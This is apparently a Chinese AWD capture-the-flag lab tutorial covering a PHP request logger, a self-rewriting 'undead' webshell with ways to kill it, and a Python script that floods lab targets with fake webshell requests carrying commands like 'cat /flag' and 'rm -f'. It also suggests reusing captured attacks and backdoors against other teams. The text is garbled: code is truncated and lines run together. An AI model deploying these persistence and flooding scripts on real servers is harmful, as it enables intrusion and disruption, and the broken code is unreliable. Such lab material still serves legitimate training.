数据来源
log-record.php (文章最后的链接可以直接下载,文件位置:AWD红蓝对抗资料工具-小迪安全\AWD_Hunter-master\script\php)
$value) {if (substr($name, 0, 5) == 'HTTP_') {$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;}}return $headers;}}function WAF_log() {
global $WAF_query, $WAF_headers, $WAF_post, $WAF_log;
$tmp = "[" . date('y-m-d H:i:s') . "]\n";
$tmp .= "SRC IP: " . $_SERVER["REMOTE_ADDR"]."\n";
$tmp .= $_SERVER['REQUEST_METHOD'].''.'http://'.$_SERVER['SERVER_NAME'].':'.$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]."\n";foreach($WAF_headers as $k => $v) {
if($k=='Accept-Encoding'||$k=='Accept-Language'||$k=='Accept'||$k=='User-Agent'||$k=='Referer'||$k=='Cookie'||$k=='X-Forwarded-For')
$tmp .= $k . ': ' . $v . "\n";
}
if (!empty($WAF_post)) {
$tmp .= "\n". $WAF_post . "\n";
}
$tmp .= "\n";
@file_put_contents($WAF_log."log_".date("H",time()), $tmp, FILE_APPEND);
}$WAF_query = $_SERVER['QUERY_STRING'];
$WAF_headers = getallheaders();
$WAF_post = @file_get_contents('php://input');
$WAF_log = '/tmp/';
$WAF_AD_log = '';WAF_log();
?>
代码解析:
简单理解就是这个脚本会监听网站的行为生成日志文件log_?到当前目录下的 tmp文件夹内
挂载文件
1、在靶机的终端输入:
cd tmp # 切换到tmp目录下
ls # 查看当前目录的内容,找到生成的日志文件log_? 我这里是log_18
tail -f log_18 # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止(就是监听log_18日志文件的实时变化)
回到终端查看日志
不死马.php
'; // 定义后面代码
while (1){ // 设置无限循环file_put_contents($file,$code); // file_put_contents()函数可以将一个字符串写入文件,写入后门代码usleep(5000); // usleep()函数是把调用该函数的线程挂起一段时间(就是暂停执行一段时间),单位是微秒(百万分之一秒)
}
?>
文件名改成xd.php , 生成的文件改成 x.php
1. 首先访问xd.php文件让他生成不死马(x.php),生成x.php文件后我们原来的xd.php文件就会自动被删除掉(unlink(__FILE__); // 这句代码做的)
http://192.168.1.13:8801/xd.php
2. 回到Xftp 7 查看
无论是在Xftp 7中还是虚拟机中删除都是删除不掉的
1.ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
2.重启php等web服务
3.用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
4.创建一个和不死马生成的马一样名字的文件夹。
这里演示使用脚本的方法,创建一个fuck_x.php文件写入以下代码上传到靶机
运行我们的克制文件
http://192.168.1.13:8801/fuck_x.php
查看x.php文件
搅屎棍:目的就是浪费对手时间,我们发的包访问的文件很多不存在对方甚至会怀疑你把文件隐藏起来了又是各种找。
回首掏:配合抓到的真实攻击数据包,利用数据包占用其他人的攻击行为。利用后门去连接其他团队尝试。
awd_jiaosigun.py
import requests # requests这包是用来发送网络请求的
import time # 时间模块def scan_attack():shell_file = {'index.php','about.php','services.php','contact.php'} # 我发现如果目标不存在这个文件,日志是不会记录的,所以这里我写目标靶机的url页面路径payload = {'cat /flag','ls -al','rm -f','echo 1'} # 随便写几个命令,等下用来发送请求误导防御者while 1: # 设置无限循环不停的发包for i in range(8801, 8804): # range(num1,num2) 生成数字序列,不包含num2,8801代表第一个靶机 8802 第二个,我这里就开了3个靶机,就是8801-8803for ii in shell_file:url = f'http://192.168.1.13:{i}/{ii}' # 拼接文件访问地址,ii就是遍历出来的文件名,这个文件不需要真实存在只是用来误导防御者的for iii in payload: # 这里循环payload内的系统命令data = {'cmd': iii # 一般一句话马都是会有一个形参接收传入的命令,这里的cmd也是随便写的}try: # 设置无限循环requests.post(url, data = data) # 利用requests模块发送post请求print(url)# print("正在搅屎:" + str(i) + '|' + ii + '|' + iii)time.sleep(0.5) # 暂停0.5s让程序不要跑太快except Exception as e:print(e)passif __name__ == '__main__':scan_attack()
cd tmp # 切换到tmp目录下
ls # 查看当前目录的内容,找到生成的日志文件log_? 我这里是log_18
tail -f log_22 # 需要注意的是log_? 最后这里数字是会变的